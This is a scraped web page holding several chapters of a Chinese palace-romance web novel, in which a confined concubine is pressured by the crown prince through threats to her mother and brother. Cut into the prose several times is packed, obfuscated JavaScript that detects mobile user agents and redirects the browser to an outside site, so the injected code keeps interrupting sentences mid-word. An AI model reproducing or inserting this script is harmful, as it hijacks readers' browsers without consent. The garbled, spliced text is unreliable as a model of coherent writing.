d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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萧衍一把扣住她的手腕,看到她吃痛拧眉,力道略松了些,“孤准你**吗?” 安小月睫毛颤了颤,却仍固执地闭着眼,不肯看他。 “殿下何必为难自己?” “为难?”萧衍怒极反笑,猛地将她拽到身前,“你以为你**,孤就能高枕无忧?你以为……” 他声音突然哽住,眼底翻涌着连自己都未曾察觉的痛色。 安小月终于睁开眼,却发觉他眸中情绪复杂得让她心尖发颤。 张了张嘴,却仍一个字都说不出来。 萧衍死死盯着她,声音沙哑,“安小月,你听好了……” “你的命是孤的,没有孤的允许,你连死的资格都没有!” 他猛地松开她,站起身,背对着开口,“把衣裳收拾好。” 安小月怔住,指尖微微发抖。 他……又放过了她? 明明证据确凿,明明她已认命求死,可他却再一次,决定放她一条生路。 萧衍没有回头,嗓音低沉而漠然,“孤让人送你回去,从今以后,做好你的妾室本分,别妄想其他。” 他顿了顿,语气更冷,“没有孤的命令,不准再靠近孤。” 安小月感觉胸口像是被一只无形的手狠狠攥住,疼得她几乎喘不过气。 不是囚禁,不是审问,而是彻底将她推开。 没多久,侍卫从林中走出,沉默地示意她离开。 她缓缓站起身,脚步虚浮,却在转身的瞬间,忍不住回头看了一眼。 太子仍站在原地,背影挺拔,崖边的风卷起他的衣袍,猎猎作响。 安小月眼眶一热,仓促低下头,跟着侍卫离开。 可那一瞬的画面,却像刀刻一般,深深刻进她的心底。 那个高高在上的太子,此刻的背影,竟显得那么孤独。 回到行宫后,安小月没有被关进那个偏僻的柴房,却也没有被安置在偏殿。 她被带进一处陌生的院落,四周寂静得可怕。 一连几日,只有固定的时辰会有宫人送来饭食,而后迅速离去,仿佛多停留一刻都是忌讳。 没有人同她说话,也没有目光愿意在她身上停留。 她像是被遗忘了,只剩下一具空壳,日复一日地坐在窗边,望着窗外一成不变的景色发呆。 太子真的不要她了。 这个认知比任何刑罚都更令人绝望。 直到某日,院门突然被推开。 苏德面无表情地走进来,眼神冷得像在看一个死物。 他居高临下地扫了她一眼,声音里不带一丝温度,“安娘子。” 安小月缓缓抬头,干裂的唇瓣微微颤抖。 苏德冷漠道,“殿下有令,明日启程回宫。” 安小月指尖一颤,黯淡的眼底忽地亮起一簇微弱的火光。 来时与太子同乘一辆马车的记忆浮现在眼前,她终于要见到太子了! “不过殿下尚有要事处理。”苏德突然打断她的雀跃,“你随杂家先行。” 安小月一怔,半晌才听见自己干涩的声音,“妾明白了。” “路上安分些。”苏德拂袖转身,“殿下说了,若敢生事,令堂与令弟,会很乐意替娘子受过。” 安小月勃然变色,简直不敢相信自己的耳朵。 太子竟也会用骨肉亲情来要挟她? 可没人解答她的疑惑,第二日她直接被送上一辆破旧马车。 回程的马车走得极慢,车轮碾过官道的声响单调而沉闷。 没有太子随行,也没有往日的戏弄与刁难,这一路平静得近乎压抑。 安小月靠在车壁上,透过纱帘望着外头不断后退的景色,恍惚间竟觉得这条路永远也走不到头。 直到马车终于停下,她下了车,抬头便看见熟悉的太子府大门。 还未等她缓过神,苏德已冷着脸示意内**她押回自己的院子。 王嬷嬷早早得了消息,正满脸喜色地等在院门口,一见她回来,忙不迭迎上去。 “娘子可算回来了!老奴这几日……” 话音未落,院外突然传来整齐的脚步声,一队内侍无声无息地围了上来,将院门牢牢守住。 王嬷嬷一愣,下意识想往外走,却被为首的太监伸手拦住。 “安娘子需静养,闲杂人等不得随意进出。”那太监皮笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15753594|171448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肉不笑地说。 王嬷嬷这才意识到不对,脸色瞬间煞白,颤着声问,“这……这是何意?” 可惜无人应答。 院门“吱呀”一声合上,落锁的声响清晰可闻。 安小月站在院中,望着四四方方的天空,忽然笑了。 原来,这才是真正的囚笼。 王嬷嬷慌乱地抓住她的手,“娘子,这到底……” 安小月轻轻摇头,声音轻得几乎听不见,“嬷嬷,是我连累了你,我们或许……出不去了。” 风卷起落叶,在紧闭的院门前打了个旋,又无声无息地落下。 安小月彻底沉寂了下来。 她每日晨起梳洗,用膳,**,入眠,像一具被抽空灵魂的精致人偶。 铜镜里的面容依旧清丽,却再没有一丝鲜活气。 太子不要她了,但娘亲和弟弟的命还捏在相府手里。 这两个念头日夜撕扯着她的心神,让她心神不安,可面上却愈发平静。 王嬷嬷急得嘴角燎泡,这日终于忍不住,将绣绷重重摔在案上。 “娘子是要活活熬死自己吗?” 见安小月睫毛都不颤一下,王嬷嬷突然推着她来到窗前,“您看看,前头热闹了两日了,说不定殿下已经回了府,娘子就半点打算都没有?” 安小月眼底终于泛起一丝波澜。 “老奴知道您怕连累亲人。”王嬷嬷突然压低声音。 “可越是这时候,越要沉得住气,娘子好不容易才坐上这个位置,还是殿下头一个女人,难道就甘心放弃?” “王嬷嬷。”安小月突然开口,“青莲现在如何了?” 王嬷嬷闻言一愣,眼中闪过一丝诧异。 “托娘子的福。”她斟酌着词句,“她爹娘没再强求她嫁人,如今在城南赁了间小院,那丫头自己接些绣活,日子虽清苦,倒也能糊口。” 茶烟袅袅,模糊了安小月的眉眼。 王嬷嬷没瞧见她捏着杯沿的指尖微微发白。 “只是……”王嬷嬷又叹了口气。 “女子到了年纪,终究躲不过婚嫁之事,她如今这样躲着,也不是长久之计。” 第139章 接来小住 安小月想起青莲跪在地上求她的模样,多么可怜无助。 可那时的自己只能苍白地安慰说她会向太子求情,可心里比谁都清楚,一个连自己都保不住的婢女,哪来的本事救人? 而现在…… 她低头看着腕上太子赏的翡翠镯子。 成了太子的妾,反倒连开口的资格都没了。 窗外的海棠被风吹得簌簌作响,几片花瓣飘进来,落在她摊开的掌心。 安小月慢慢收拢手指,幽幽叹气。 她宁愿像青莲那样,在外面靠绣活过清苦日子,至少自在。 不像现在,说是太子的妾,实则是被圈养的囚徒。 逃? 她又能逃到哪去。 太子府的侍卫不是摆设,何况过了明路的妾室,抓回来就是个死字。 这时,紧闭数日的院门突然发出沉重的“吱呀”声,大门被缓缓打开。 安小月猛地抬头,她身旁的王嬷嬷激动地站起来就要往外冲,却被一把拽住了手腕。 院门外,苏德正迈着轻快的步子走进来。 他脸上堆着殷勤的笑容,眼角褶子挤成一团,与前几天冷着脸下令锁院时的阴鸷模样截然不同。 安小月的指甲无意识地掐进掌心。 这个太监总管向来比太子更难揣测,他此刻满脸谄媚,反倒让人脊背发寒。 苏德进了门,微微躬身,声音刻意放得柔和,“安娘子这几日过得可好?” 安小月抬眸看了他一眼,神色平静,只淡淡地点了点头。 “每日有饭吃,又不用做活,自然过得很好。” 苏德脸上的笑容僵了一瞬,显然没料到她会这么回答。 作为太子的妾室,按理说被关在院子里数日,怎么也该有些委屈或怨言。 可她却像是真的不在意,反倒让他一时不知该如何接话。 一旁的王嬷嬷见状,连忙上前两步,脸上堆着讨好的笑,小心翼翼地试探。 “苏公公今日亲自过来,可是殿下有什么吩咐?” 她顿了顿,又压低声音补了一句,“是不是……殿下终于要放我们出去了?” 苏德瞥了她一眼,脸上的笑容重新挂了起来,带着几分意味深长。 “王嬷嬷倒是心急。” 他慢悠悠地掸了掸袖子,目光却仍落在安小月身上,“不过嘛,殿下确实有些话要交代……” 安小月依旧神色淡淡,可指尖却不自觉地微微收紧。 王嬷嬷闻言,脸色微微一变,偷偷瞥了安小月一眼,生怕太子又有什么更重的责罚。 安小月却只是淡淡地抬眸,神色平静得近乎漠然。 “苏公公有什么话,直说便是。” 苏德脸上的笑容更深了,他微微躬身,语气比先前更加恭敬。 “安娘子果然通透,殿下说了,前几日的事已经查清楚了,那几个刺客确实是受人指使,故意诬陷娘子,殿下心里过意不去,特意让奴才来传话。” 他眼角余光扫过王嬷嬷紧张的神色,才继续道。 “从今日起,娘子可以自由出入院子了,不仅如此,殿下还特意恩准,可以将娘子的母亲和弟弟接进府里小住,也好让娘子安心。” 王嬷嬷一听,顿时松了口气,脸上露出喜色,连忙道,“这可是天大的恩典啊!” 安小月却只是轻轻“嗯”了一声,既没有表现出欣喜,也没有半分受宠若惊的样子。 她甚至没有多问一句是谁在背后指使那些刺客,只是微微颔首。 “劳烦苏公公跑这一趟了。” 苏德眯了眯眼,似乎想从她脸上看出些什么,可安小月神色淡淡,仿佛这一切都与她无关。 他只得干笑两声,又客套了几句,才转身离开。 待苏德的背影消失在院门外,王嬷嬷终于按捺不住,凑上前小声道,“娘子,这可是好事啊!您怎么……” 安小月望着院门的方向,唇角微微勾起一抹极淡的弧度。 “好事?” 她轻声道,“嬷嬷觉得,太子为何突然这般好心?” 王嬷嬷一愣,顿时噤了声。 安小月的心情复杂难言。 能重获自由自然是好事,可太子突然准许她见母亲和弟弟,反倒让她心底隐隐不安。 那位心思深沉的殿下,究竟在盘算什么? 院门不再上锁,总归多了几分人气。 王嬷嬷去厨房取晚膳时,远远瞧见侍卫首领赵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15759873|171448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忠立在院门外。 她连忙回来禀报,“娘子,赵大人在外头候着,说是有话要同您说。” 安小月放下手中的绣绷,缓步走到院门处,却并未踏出门槛,只是隔着半开的门与赵忠对视。 暮色里,赵忠的身影被拉得老长。 他抱拳一礼,声音压得极低,“殿下命属下护送安夫人和令弟入府,明日晌午便能到。” 他顿了顿,又补充道,“为免人多眼杂,会从西角门进来。” “有劳赵大人。” 安小月微微颔首,眉头却不自觉皱紧。 太子此举绝非单纯的恩典,将她的至亲接进府中,何尝不是另一种牵制? 赵忠似乎看出她的顾虑,犹豫片刻,终究还是低声道,“娘子放心,殿下特意吩咐过,会让安夫人安置在栖月阁。” 这话听着是宽慰,却让安小月心头更沉。 她勉强扯出一抹笑,“替我谢过殿下。” 待赵忠离去,她望着渐暗的天色怔怔出神。 晚风卷着落叶飘过,远处传来隐约的更鼓声。 到底从何时开始,这四方天地里,连片刻的喘息都是奢望? 到了第二日晌午,安小月早早坐在窗边,手指无意识地绞着帕子,连帕子皱了都没察觉。 她极少像这般心神不宁。 可一想到即将见到阔别许久的亲人,胸口便像堵了团棉花,又闷又涩。 王嬷嬷在院门口来回踱步,时不时朝外张望。 忽然,远处传来一阵脚步声,夹杂着低低的说话声。 王嬷嬷眼睛一亮,连忙转身朝院内招手,“娘子,来了!” 安小月猛地站起身,裙摆带翻了矮凳也顾不得扶。 她快步走到院中,正瞧见王嬷嬷引着两人走进来。 走在前头的是个身形瘦削的妇人,鬓角已见霜白,眉眼间却仍能看出年轻时的秀丽。 她身后跟着个半大少年,约莫十二三岁,眉眼与安小月有七八分相似,只是面色略显苍白,走路时还有些跛。 安小月的眼眶瞬间红了。 “娘……” 她喉头哽住,几乎发不出声,脚步却已不受控制地冲了过去,一把攥住妇人的手。 第140章 突然的恩典 那双手粗糙冰凉,指节处还带着伤痕,可安小月却像抓住了救命稻草,死死握着不肯松开。 林氏颤抖着抚上她的脸,眼泪簌簌往下掉。 一旁的少年局促地站着,半晌才低低喊了声,“阿姐。” 安小月一把将弟弟揽进怀里。 她死死咬住嘴唇才没哭出声,只反复摸着弟弟的后背,仿佛这样就能抹平这些日子所有的苦难。 王嬷嬷在一旁抹眼泪,正要劝他们进屋说话,忽听院门外传来一声轻咳。 众人回头,却见苏德不知何时立在了那里,脸上堆着笑。 “殿下体恤娘子骨肉团聚,特意让小厨房备了席面。” 他目光扫过林氏和半大少年,笑意更深,“只是这院子狭小,怕委屈了贵客,不如……” 安小月下意识想将母亲和弟弟护在身后,可却迈不开步子。 她勉强扯出一抹笑,声音坚定。 “多谢殿下美意,只是我们母子三人许久未见,想在这院子里说些体己话,就不去花厅叨扰了。” 苏德脸上的笑意未减,语气依旧恭敬,却带着不容拒绝的意味。 “娘子说笑了,殿下特意吩咐的,连席面都是按着安夫人的口味备的,若是不去,岂不是辜负了殿下的一片心意?” 他顿了顿,目光若有似无地扫过安夫人和少年。 意有所指地补充道,“再说,安夫人和令弟舟车劳顿,也该好好用顿热饭才是。” 安小月指尖微颤,胸口像是压了块石头,闷得发疼。 她如何听不出苏德话里的威胁? 若她执意拒绝,太子会如何对待她的母亲和弟弟? 她闭了闭眼,再睁开时,眼底已是一片平静。 “既然如此,那就劳烦苏公公带路了。” 苏德这才满意地笑了,躬身做了个“请”的手势。 “娘子客气了,杂家这就去安排。”说完,他转身先行离开,背影透着几分匆忙。 院子里一时安静得可怕。 林氏不安地拉住女儿的手,低声道,“若是不便,我们……” “没事的,娘。” 安小月轻轻拍了拍母亲的手背,声音温柔,却掩不住眼底的冷意。 “不过是吃顿饭而已。” 安小阳抿着唇没说话,只是默默站到了姐姐身侧,瘦弱的身躯绷得笔直,像是在无声地支持她。 王嬷嬷在一旁欲言又止,最终只是叹了口气。 “娘子不必忧心,兴许没有那么复杂。” 安小月点点头,目光望向远处朱红色的回廊。 她知道,踏出这个院子,等待她的绝不会只是一顿简单的饭。 太子的“恩典”,从来都是要付出代价的。 可她没有选择。 “走吧。”她轻声说道,挽起母亲的手臂,一步步朝院外走去。 花厅内,金丝楠木的圆桌上已摆满了精致菜肴。 清蒸鲥鱼、燕窝羹、翡翠虾饺…… 每一道都色香俱全,显然是精心准备的。 两侧站着四名低眉顺眼的小太监,手捧银壶热巾,随时准备上前伺候。 安小月被引到主位坐下,背脊挺得笔直。 王嬷嬷立在她身后,神色恭谨,却时不时用余光扫向厅门,显然在留意着什么。 林氏和安小阳则是被安置在左侧席位。 两人眼神不敢乱瞟,脊背僵硬,生怕碰坏了什么贵重物件。 “娘,阿弟,不必拘束。” 安小月轻声安抚,亲自执筷为二人布菜。 这时,安小阳却突然剧烈咳嗽起来,慌得林氏连忙去拍他的背。 “不妨事。” 安小阳涨红了脸摆手,却在对上姐姐担忧的目光时,突然压低声音道,“阿姐,这厅柱后头……有人。” 安小月盛汤的手几不可察地一顿。 她早该想到的,太子既安排了这场“家宴”,又怎会不暗中窥探? 或许此刻,那人就隐在屏风后,等着看他们母子三人露出破绽。 “尝尝这雪梨羹,最是润肺。” 她面不改色地将甜羹推到弟弟面前,声音却刻意提高了几分,“这次多亏殿下照拂,我们才能团聚。” 这话说得恭敬,却借着酒壶遮挡,飞快地打了个手势。 林氏会意,立刻接话,“正是呢,听说殿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15759874|171448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下仁厚,连我们这些粗鄙之人都……” 话音未落,厅外突然传来一阵脚步声。 安小月心头骤紧,却见来的只是苏德,面色一时间有些古怪。 他捧着个锦盒笑道,“殿下军务繁忙,特意让奴才把这支百年山参送给小公子补身子。” 安小月盯着那支人参,起身行礼,声音却略显僵硬,“妾多谢殿下赏赐。” 好在之后再没人过来打扰。 半个时辰后,花厅的宴席终于结束,安小月紧绷的脊背却仍未松懈。 太子没有出现。 这原本该让她松一口气,可心底的不安却愈发浓重。 她太了解这位东宫之主的性子,他若真想见一个人,绝不会拖延。 如今这般刻意避而不见,反倒像是藏着更深的算计。 “安娘子,天色不早了,杂家送您和夫人小公子回栖月阁歇息。” 苏德躬身站在一旁,脸上挂着恰到好处的恭敬。 “有劳苏公公。”安小月微微颔首,声音平静。 她搀扶着母亲,安小阳则安静地跟在身侧。 少年瘦削的肩膀绷得笔直,眼神警惕地扫过四周,显然也对这突如其来的“优待”充满戒备。 栖月阁虽不算奢华,却也收拾得干净整洁。 安小月刚扶着母亲坐下,门外便传来一阵脚步声。 苏德去而复返,身后还跟着两名低眉顺眼的小太监。 “安娘子,殿下吩咐了,说小公子年岁渐长,再与女眷同住一院不合规矩,特意在西侧殿收拾了间清净屋子,请小公子移步。” 安小月心头猛地一跳,几乎是下意识地挡在了弟弟身前。 “苏公公,我弟弟身子弱,夜里离不得人照看,不如……” “娘子放心。”苏德笑容不变,“有专门的仆役伺候小公子,定不会让他出事。” 安小月指尖发冷。 来了。 太子果然不会无缘无故地“施恩”。 她强压下翻涌的情绪,转头看向弟弟。 安小阳虽年少,却也明白此刻处境,他抿了抿唇,低声道,“阿姐,不必担心,我会保护好自己。” 第141章 不会无缘无故 安小月想拦,可她知道,自己拦不住。 苏德却好似等不及了,侧身让开路,“小公子,这边走。” 待安小阳的身影消失在院门外,林氏终于忍不住拉住女儿的手,“太子他……会不会对阳儿不利?” 安小月沉默片刻,摇了摇头,“不会。” 至少现在不会。 太子若真想动手,大可不必如此大费周章。 他带走安小阳,无非是想拿捏她的软肋,让她明白,在这座府邸里,她没有任何反抗的余地。 “娘,您先歇着,我去看看阳儿。” 她轻声安抚母亲,随即转向王嬷嬷,“嬷嬷,劳烦您照顾我娘。” 王嬷嬷欲言又止,最终只是叹了口气,“娘子当心。” 安小月点头,转身踏出院门。 夜风拂过她的脸颊,她抬头望向玉庆宫的方向,眸光渐冷,独自踏上通往玉庆宫的石径。 说实话,她本不该去的。 可阳儿被带走,太子又迟迟不露面,她若再坐以待毙,只会被对方牵着鼻子走。 与其被动等待,不如主动试探。 至少,她要亲眼看看,太子究竟在盘算什么。 然而,当她真正站在玉庆宫外时,脚步却不由自主地顿住。 宫门两侧,侍卫肃立,甲胄在月光下泛着冷光。 而更让她心头一紧的是,苏德就站在台阶上,面带微笑,仿佛早已料到她会来。 “安娘子。”苏德上前一步,躬身行礼,语气恭敬,“殿下正在里面,您请进。” 安小月指尖微颤。 太子在等她? 转念一想又觉得不对。 这怎么像是一场早有预谋的局,就等着她自投罗网呢? 她忽然有些后悔自己的冲动。 若太子真存了试探之心,她此刻贸然闯入,岂不是正中下怀? “苏公公误会了。” 安小月迅速调整神色,唇角扬起一抹浅淡的笑,“我只是夜里睡不着,出来走走,恰好路过这里而已,殿下既在忙碌,我就不打扰了,改日再来请安。” 说罢,她转身欲走。 可就在这时,“吱呀”一声,沉重的宫门突然从内打开。 暖黄的烛光倾泻而出,照亮了门内那道修长的身影。 太子就站在那里,唇角噙着若有似无的笑,眸光却如寒潭般幽深,直直看向她。 “既然来了,何必急着走?” 他的声音不疾不徐,却让安小月浑身一僵。 她站在台阶下,指尖微微收紧,却始终没有往前迈出一步。 苏德见状,上前一步,声音压得极低,“娘子,殿下亲自来迎,您若再推辞,未免……” 未尽之言里藏着无形的威压。 安小月闭了闭眼,终于转身,抬脚跨过那道门槛。 太子已回到案前,执笔蘸墨,淡定地在宣纸上落笔,仿佛对她的到来毫不在意。 安小月站在殿中央,既不开口,也不行礼,只是静静地看着他。 既然他晾着她,那她便奉陪到底。 烛火噼啪,殿内静得可怕。 良久,萧衍忽然冷笑一声,猛地掷下毛笔。 墨汁溅在纸上,晕开一片痕迹。 “孤还以为,你要躲在那个院子里一辈子都不出来了。”他抬眸,眼底寒意凛冽。 安小月迎上他的目光,唇角微扬,“这不是殿下的意思吗?” 是他派人监视,是他刻意避而不见,如今反倒怪她躲着? 萧衍眯了眯眼,忽然起身,一步步朝她走来。 “安小月。”他嗓音低沉,带着危险的意味,“你当真以为,孤拿你没办法?” 殿内骤然安静。 安小月胸口微微起伏,指尖掐进掌心,却仍压不住那股翻涌的情绪。 她忍得够久了。 “殿下把妾身的弟弟母亲接入太子府,不就是为了压制妾身吗?” 她抬眸,眼底终于浮出一丝锐利,“妾身不过是个低贱之人,怎么配让殿下如此大费周章?” 说罢唇角勾起一抹讥诮的笑,“殿下想让妾身做什么,只管直说便是。” “啪!” 萧衍猛地一掌拍在案上,震得茶盏翻倒,茶水泼了一地。 “安小月!”他声音冷厉,眼底怒意翻涌,“你……” 苏德见状,连忙上前一步,赔着笑想打圆场。 “殿下息怒,安娘子她只是……” “滚出去!”萧衍厉声打断,目光如刀般扫向苏德 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15759875|171448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“把门关上!” 苏德脸色一白,不敢再多言,低头退了出去。 殿门轻轻合上,吹得烛火晃了晃。 安小月蹙眉,方才那股孤勇忽然泄了几分。 早知如此,她方才就不激怒他了。 萧衍一步步逼近,阴影笼罩下来,带着压迫的气息。 安小月则是下意识后退,直到后背抵上了冰冷的殿柱,退无可退才停下脚步。 “怕了?”萧衍冷笑,抬手捏住她的下巴,逼她直视自己,“方才不是挺能说?” 安小月呼吸微窒,却仍强撑着与他对视。 “殿下到底想要什么?” 萧衍眸色一暗,俯身逼近,嗓音低沉危险,“你说呢?” 安小月忽然笑了,只是笑意却未达眼底。 她想起嵩山行宫**那夜,若不是刺客突然闯入,太子会放过她吗? 那夜虽没成事,可从那之后,他看她的眼神,便多了几分晦暗不明的意味。 他这几日的刻意冷落到底为的什么,她早该明白的。 安小月咬紧牙根,指尖搭上衣带,轻轻一扯,外裳便滑落在地。 萧衍瞳孔骤缩,猛地扣住她的手腕。 “你做什么?” 安小月不答,用另一只手继续解中衣的系带。 薄衫层层剥落,最终只剩一件单薄的小衣,雪白的肩颈在烛光下显得莹润如玉。 她抬眸看他,眼底一片死寂。 “殿下不是一直惦记着这个吗?” 萧衍呼吸一滞,眼底怒意翻涌,却夹杂着更复杂的情绪。 他一把扯过屏风上的外袍裹住她,力道大得几乎将她勒痛,“安小月!你太小看孤了!” 萧衍盯着她,忽然低笑一声,笑声里却带着几分自嘲的冷意。 “你以为孤留着你,是为了这个?” 他手指收紧,指节泛白,声音却压得极低,“孤若真想要你的命,当初就不会把你从嵩山带回来。” 安小月睫毛微颤,却仍固执地别开脸。 “殿下做事,自然有自己的缘由。” 不论是他放过她,还是查案,又或者是接她娘和弟弟入府,每一步都像是算计好的。 她才不信他会无缘无故对她好。 第142章 抬举 萧衍眸色一沉,“那你觉得,孤图什么?” 安小月抿唇不语。 萧衍盯着她半晌,嗤笑一声,“原来在你眼里,孤就是个奸诈阴险,处处算计的小人?” 他松开她,后退一步,眼底怒意褪去,竟透出几分疲惫。 “安小月,你真是……”他顿了顿,似嘲似叹,“没良心。” 殿内烛火摇曳,映着安小月单薄的身影,她后退半步,直接跪倒在地。 “殿下所忧之事,永远不会发生,妾身既入太子府,生死皆由殿下做主,只求殿下,莫牵连妾身骨肉至亲。” 萧衍居高临下地看着她,眸色晦暗不明。 半晌,他低笑一声,指尖挑起她的下巴,“当真做什么都可以?” 安小月指尖掐进掌心,心里万分不愿,可还是回了句,“是。” “好。”萧衍松开手,转身走向床榻。 “孤要你明日搬进孤的寝殿,贴身伺候。” 他侧眸瞥她一眼,唇角勾起一抹似笑非笑的弧度,“同吃同住,同床共枕,安小月,你可听清了?” 安小月心头微讶,面上却不显,低声道,“是,妾身明白。” 她虽不解太子为何突然要她贴身伺候,但眼下别无选择。 弟弟和娘亲的命还捏在太子手里,她只能顺从。 萧衍见她乖顺,眼底闪过一丝晦暗,又道,“明日孤会派人送你娘和弟弟回相府,毕竟,他们如今还是相府的奴婢,离府太久,容易惹人闲话。” 安小月心头一紧,抬眸看他。 只见太子似笑非笑地补充道,“不过,若你伺候得好,孤也不是不能想办法,将他们从相府里弄出来,安顿到别处去。” 安小月呼吸微滞。 这是在和她谈条件? 她闭了闭眼,压下心底翻涌的情绪,轻声道,“妾多谢殿下。” 萧衍盯着她看了片刻,伸手抚过她的发丝,语气意味不明。 “安小月,你弟弟的户籍,已经过了明路,从今往后,他不再是奴籍。” 安小月猛地抬头,瞳孔微颤。 可他却已经收回手,转身朝殿外走去,只留下一句轻飘飘的话。 “记住你的承诺。” 太子向来说一不二。 安小月回去告诉娘和弟弟这个消息,两人虽有不舍,但因为户籍的事情,倒也没有太过伤心。 翌日天还未亮,晨雾湿冷,安小月早就陪着林氏和安小阳在府邸侧门外等候。 她紧紧攥着安小阳的手,眼角微微泛红。 “阿姐,我如今已是良籍,不必再躲躲藏藏了,你不必担心我,我已经长大了。” 少年低声说着,眼底却仍带着不安,“可娘亲她……” 安小月将一包碎银塞进他手中,声音压得极低,“阿姐知道你机灵,你在相府附近找个住处,别离太远,我会想办法托人照应你们。” 她顿了顿,又转向娘亲,眼角泛泪。 “娘,您一定要保重,小心王氏安欢颜那些人,我一定会把您也接出来。” 林氏攥着帕子,担忧不已,“月儿,太子府不比相府,你……” 话未说完,远处突然传来一阵急促的马蹄声。 三人俱是一惊,安小月更是下意识将弟弟往身后一拉。 马蹄声渐渐逼近,原来是赵忠驾着一辆青布马车过来了。 他利落地翻身下了马车,朝安小月抱拳行礼。 “安娘子,殿下命我送夫人和公子回府。” 安小月暗自松了口气,却又在听到“公子”二字时心头一酸。 她的阳儿,终于能堂堂正正被人称作公子了。 “多谢赵大人。”她福身行礼,犹豫片刻还是开口,“只是舍弟初脱奴籍,在外独居,我实在放心不下……” 赵忠闻言立即拍胸口。 “娘子放心,我在军中认识几个好手,他们早就赋闲在家,我明日就挑个稳妥的来护着小公子。” 他说得斩钉截铁,却在安小月感激的目光下突然别过脸。 盯着地上的青砖道,“这都是分内之事,娘子不必客气。” 安小月不疑有他,郑重道谢,“大人的恩情,小女子铭记于心。” 街口人多眼杂,顾不上多说。 安小月把娘亲和弟弟一一送上马车,又目送马车消失在晨雾中,心里感慨万千。 等她再回到太子府时,发现自己的东西已经被搬进了太子寝宫的偏殿。 王嬷嬷站在门口,脸上带着掩不住的喜色。 “娘子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15759876|171448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 总算回来了,老奴就知道您不会这么干等着!” 安小月张了张嘴,想解释自己只是暂时住在这里,但看着王嬷嬷殷切的眼神,终究没说什么,只是轻轻点了点头。 她走进偏殿,看着自己的衣物被整齐地收在柜子里,妆台上的胭脂水粉也摆得一丝不苟。 这显然不是临时安置,倒像是早就准备好的。 “殿下什么时候回来?”她低声问。 王嬷嬷笑道,“殿下今日入宫议事,说是晚膳前回来。” 安小月点点头,没再说话,只是安静地整理起自己的东西。 她心里有些忐忑,不知道太子回来后会是怎样的态度。 若是真的要她…… 她轻轻叹了口气,拿起针线,低头绣起帕子,暂时将这些烦心事抛之脑后。 而另一头的相府,林氏和安小阳刚被送回来,消息就传到了王氏耳中。 “太子竟亲自派人护送?” 王氏猛地拍案而起,茶盏震得叮当响。 “这是明摆着要抬举那贱婢的女儿!” 她胸口剧烈起伏,指甲几乎掐进掌心,“一个奴婢生的贱种,也配踩在我颜儿头上?来人,去把那对母子叫来,我倒要看看……” “母亲。”安欢颜突然出声打断。 她脸色苍白,眼下泛着淡淡的青黑,显然多日未曾安睡。 王氏一愣,“颜儿,你这些日子总做噩梦,怎么不好好歇着?” 安欢颜攥紧帕子,声音发颤,“别动他们,至少现在别动。” 她眼前又闪过那个反复出现的噩梦,血淋淋的尸体,苏德冷漠的眼神,还有太子无情的背影…… 王氏还要说话,忽见女儿浑身发抖,连忙上前扶住她,“你这是怎么了?” 安欢颜艰难地摇了摇头,她这些日子总是心神不宁。 自从苏德那日来传话,太子那句“自己想法子退婚”就像一把刀悬在她头顶。 她不敢告诉父母,更不敢轻举妄动,只能日日夜夜被这个秘密折磨着。 直到前几日,她听说太子在嵩山行宫**的消息,整个人更是如坠冰窟。 